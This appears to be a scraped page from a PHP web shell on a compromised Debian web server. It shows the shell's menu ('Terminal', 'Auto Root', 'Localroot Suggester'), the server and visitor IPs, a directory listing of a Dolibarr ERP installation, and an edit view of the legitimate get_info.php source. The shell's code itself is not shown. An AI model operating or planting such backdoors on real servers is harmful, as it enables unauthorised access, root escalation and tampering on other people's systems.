Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
btm2000_old /
htdocs /
core /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
boxes
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
class
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
data
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
db
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
filemanagerdol
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
js
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
lib
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
login
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
menus
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
modules
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
tpl
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
triggers
[ DIR ]
drwxr-xr-x
2021-10-16 13:26
actions_addupdatedelete.inc.php
15.54
KB
-rw-r--r--
2021-10-16 13:26
actions_builddoc.inc.php
4.82
KB
-rw-r--r--
2021-10-16 13:26
actions_changeselectedfields.inc.php
1.55
KB
-rw-r--r--
2021-10-16 13:26
actions_comments.inc.php
2.56
KB
-rw-r--r--
2021-10-16 13:26
actions_dellink.inc.php
1.59
KB
-rw-r--r--
2021-10-16 13:26
actions_extrafields.inc.php
12.33
KB
-rw-r--r--
2021-10-16 13:26
actions_fetchobject.inc.php
1.88
KB
-rw-r--r--
2021-10-16 13:26
actions_lineupdown.inc.php
2.53
KB
-rw-r--r--
2021-10-16 13:26
actions_linkedfiles.inc.php
10.71
KB
-rw-r--r--
2021-10-16 13:26
actions_massactions.inc.php
49.03
KB
-rw-r--r--
2021-10-16 13:26
actions_printing.inc.php
3.3
KB
-rw-r--r--
2021-10-16 13:26
actions_sendmails.inc.php
19.58
KB
-rw-r--r--
2021-10-16 13:26
actions_setmoduleoptions.inc.php
3.5
KB
-rw-r--r--
2021-10-16 13:26
actions_setnotes.inc.php
3.47
KB
-rw-r--r--
2021-10-16 13:26
antispamimage.php
1.88
KB
-rw-r--r--
2021-10-16 13:26
commonfieldsinexport.inc.php
2
KB
-rw-r--r--
2021-10-16 13:26
customreports.php
31.84
KB
-rw-r--r--
2021-10-16 13:26
datepicker.php
9.28
KB
-rw-r--r--
2021-10-16 13:26
doxygen.php
1.71
KB
-rw-r--r--
2021-10-16 13:26
extrafieldsinexport.inc.php
2.77
KB
-rw-r--r--
2021-10-16 13:26
get_info.php
7.9
KB
-rw-r--r--
2021-10-16 13:26
get_menudiv.php
6.98
KB
-rw-r--r--
2021-10-16 13:26
index.html
0
B
-rw-r--r--
2021-10-16 13:26
photos_resize.php
21.73
KB
-rw-r--r--
2021-10-16 13:26
search.php
4.92
KB
-rw-r--r--
2021-10-16 13:26
search_page.php
4.28
KB
-rw-r--r--
2021-10-16 13:26
tools.php
1.56
KB
-rw-r--r--
2021-10-16 13:26
website.inc.php
5.05
KB
-rw-r--r--
2021-10-16 13:26
Save
Rename
<?php /* Copyright (C) 2018 Laurent Destailleur <eldy@users.sourceforge.net> * * This file is a modified version of datepicker.php from phpBSM to fix some * bugs, to add new features and to dramatically increase speed. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/core/get_info.php * \brief File to return a single page with just logged user info, to be used by other frontend */ //if (! defined('NOREQUIREUSER')) define('NOREQUIREUSER','1'); // Not disabled cause need to load personalized language //if (! defined('NOREQUIREDB')) define('NOREQUIREDB','1'); // Not disabled cause need to load personalized language //if (! defined('NOREQUIRESOC')) define('NOREQUIRESOC','1'); //if (! defined('NOREQUIRETRAN')) define('NOREQUIRETRAN','1'); // Not disabled cause need to do translations if (!defined('NOCSRFCHECK')) define('NOCSRFCHECK', 1); if (!defined('NOTOKENRENEWAL')) define('NOTOKENRENEWAL', 1); //if (! defined('NOLOGIN')) define('NOLOGIN',1); // Not disabled cause need to load personalized language if (!defined('NOREQUIREMENU')) define('NOREQUIREMENU', 1); require_once '../main.inc.php'; if (GETPOST('lang', 'aZ09')) $langs->setDefaultLang(GETPOST('lang', 'aZ09')); // If language was forced on URL by the main.inc.php $langs->load("main"); $right = ($langs->trans("DIRECTION") == 'rtl' ? 'left' : 'right'); $left = ($langs->trans("DIRECTION") == 'rtl' ? 'right' : 'left'); /* * View */ $title = $langs->trans("Info"); // URL http://mydolibarr/core/search_page?dol_use_jmobile=1 can be used for tests $head = '<!-- Quick access -->'."\n"; $arrayofjs = array(); $arrayofcss = array(); top_htmlhead($head, $title, 0, 0, $arrayofjs, $arrayofcss); print '<body>'."\n"; print '<div style="padding: 20px;">'; //print '<br>'; // Define link to login card $appli = constant('DOL_APPLICATION_TITLE'); if (!empty($conf->global->MAIN_APPLICATION_TITLE)) { $appli = $conf->global->MAIN_APPLICATION_TITLE; if (preg_match('/\d\.\d/', $appli)) { if (!preg_match('/'.preg_quote(DOL_VERSION).'/', $appli)) $appli .= " (".DOL_VERSION.")"; // If new title contains a version that is different than core } else $appli .= " ".DOL_VERSION; } else $appli .= " ".DOL_VERSION; if (!empty($conf->global->MAIN_FEATURES_LEVEL)) $appli .= "<br>".$langs->trans("LevelOfFeature").': '.$conf->global->MAIN_FEATURES_LEVEL; $logouttext = ''; if (empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER)) { //$logouthtmltext=$appli.'<br>'; if ($_SESSION["dol_authmode"] != 'forceuser' && $_SESSION["dol_authmode"] != 'http') { $logouthtmltext .= $langs->trans("Logout").'<br>'; $logouttext .= '<a href="'.DOL_URL_ROOT.'/user/logout.php">'; //$logouttext .= img_picto($langs->trans('Logout').":".$langs->trans('Logout'), 'logout_top.png', 'class="login"', 0, 0, 1); $logouttext .= '<span class="fa fa-sign-out atoplogin"></span>'; $logouttext .= '</a>'; } else { $logouthtmltext .= $langs->trans("NoLogoutProcessWithAuthMode", $_SESSION["dol_authmode"]); $logouttext .= img_picto($langs->trans('Logout').":".$langs->trans('Logout'), 'logout_top.png', 'class="login"', 0, 0, 1); } } print '<div class="login_block_getinfo">'."\n"; // Add login user link $toprightmenu .= '<div class="login_block_user">'; // Login name with photo and tooltip $mode = -1; $toprightmenu .= '<div class="inline-block nowrap"><div class="inline-block login_block_elem login_block_elem_name" style="padding: 0px;">'; $toprightmenu .= $user->getNomUrl($mode, '', -1, 0, 11, 0, ($user->firstname ? 'firstname' : -1), 'atoplogin'); $toprightmenu .= '</div></div>'; $toprightmenu .= '</div>'."\n"; $toprightmenu .= '<div class="login_block_other">'; // Execute hook printTopRightMenu (hooks should output string like '<div class="login"><a href="">mylink</a></div>') $parameters = array(); $result = $hookmanager->executeHooks('printTopRightMenu', $parameters); // Note that $action and $object may have been modified by some hooks if (is_numeric($result)) { if (empty($result)) $toprightmenu .= $hookmanager->resPrint; // add else $toprightmenu = $hookmanager->resPrint; // replace } else $toprightmenu .= $result; // For backward compatibility if (!isset($form) || !is_object($form)) { include_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php'; $form = new Form($db); } // Link to module builder if (!empty($conf->modulebuilder->enabled)) { $text = '<a href="'.DOL_URL_ROOT.'/modulebuilder/index.php?mainmenu=home&leftmenu=admintools" target="modulebuilder">'; //$text.= img_picto(":".$langs->trans("ModuleBuilder"), 'printer_top.png', 'class="printer"'); $text .= '<span class="fa fa-bug atoplogin"></span>'; $text .= '</a>'; $toprightmenu .= $form->textwithtooltip('', $langs->trans("ModuleBuilder"), 2, 1, $text, 'login_block_elem', 2); } // Link to print main content area /* if (empty($conf->global->MAIN_PRINT_DISABLELINK) && empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER) && $conf->browser->layout != 'phone') { $qs=dol_escape_htmltag($_SERVER["QUERY_STRING"]); if (is_array($_POST)) { foreach($_POST as $key=>$value) { if ($key!=='action' && $key!=='password' && !is_array($value)) $qs.='&'.$key.'='.urlencode($value); } } $qs.=(($qs && $morequerystring)?'&':'').$morequerystring; $text ='<a href="'.dol_escape_htmltag($_SERVER["PHP_SELF"]).'?'.$qs.($qs?'&':'').'optioncss=print" target="_blank">'; //$text.= img_picto(":".$langs->trans("PrintContentArea"), 'printer_top.png', 'class="printer"'); $text.='<span class="fa fa-print atoplogin"></span>'; $text.='</a>'; $toprightmenu .= $form->textwithtooltip('',$langs->trans("PrintContentArea"),2,1,$text,'login_block_elem',2); } */ // Link to Dolibarr wiki pages /* if (empty($conf->global->MAIN_HELP_DISABLELINK) && empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER)) { $langs->load("help"); $helpbaseurl=''; $helppage=''; $mode=''; if (empty($helppagename)) $helppagename='EN:User_documentation|FR:Documentation_utilisateur|ES:Documentación_usuarios'; // Get helpbaseurl, helppage and mode from helppagename and langs $arrayres=getHelpParamFor($helppagename,$langs); $helpbaseurl=$arrayres['helpbaseurl']; $helppage=$arrayres['helppage']; $mode=$arrayres['mode']; // Link to help pages if ($helpbaseurl && $helppage) { $text=''; $title=$appli.'<br>'; $title.=$langs->trans($mode == 'wiki' ? 'GoToWikiHelpPage': 'GoToHelpPage'); if ($mode == 'wiki') $title.=' - '.$langs->trans("PageWiki").' "'.dol_escape_htmltag(strtr($helppage,'_',' ')).'"'; $text.='<a class="help" target="_blank" rel="noopener" href="'; if ($mode == 'wiki') $text.=sprintf($helpbaseurl,urlencode(html_entity_decode($helppage))); else $text.=sprintf($helpbaseurl,$helppage); $text.='">'; //$text.=img_picto('', 'helpdoc_top').' '; $text.='<span class="fa fa-question-circle atoplogin"></span>'; //$toprightmenu.=$langs->trans($mode == 'wiki' ? 'OnlineHelp': 'Help'); //if ($mode == 'wiki') $text.=' ('.dol_trunc(strtr($helppage,'_',' '),8).')'; $text.='</a>'; //$toprightmenu.='</div>'."\n"; $toprightmenu .= $form->textwithtooltip('',$title,2,1,$text,'login_block_elem',2); } } */ // Logout link if (GETPOST('withlogout', 'int')) $toprightmenu .= $form->textwithtooltip('', $logouthtmltext, 2, 1, $logouttext, 'login_block_elem', 2); $toprightmenu .= '</div>'; print $toprightmenu; print "</div>\n"; // end div class="login_block" print '</div>'; print '</body></html>'."\n"; $db->close();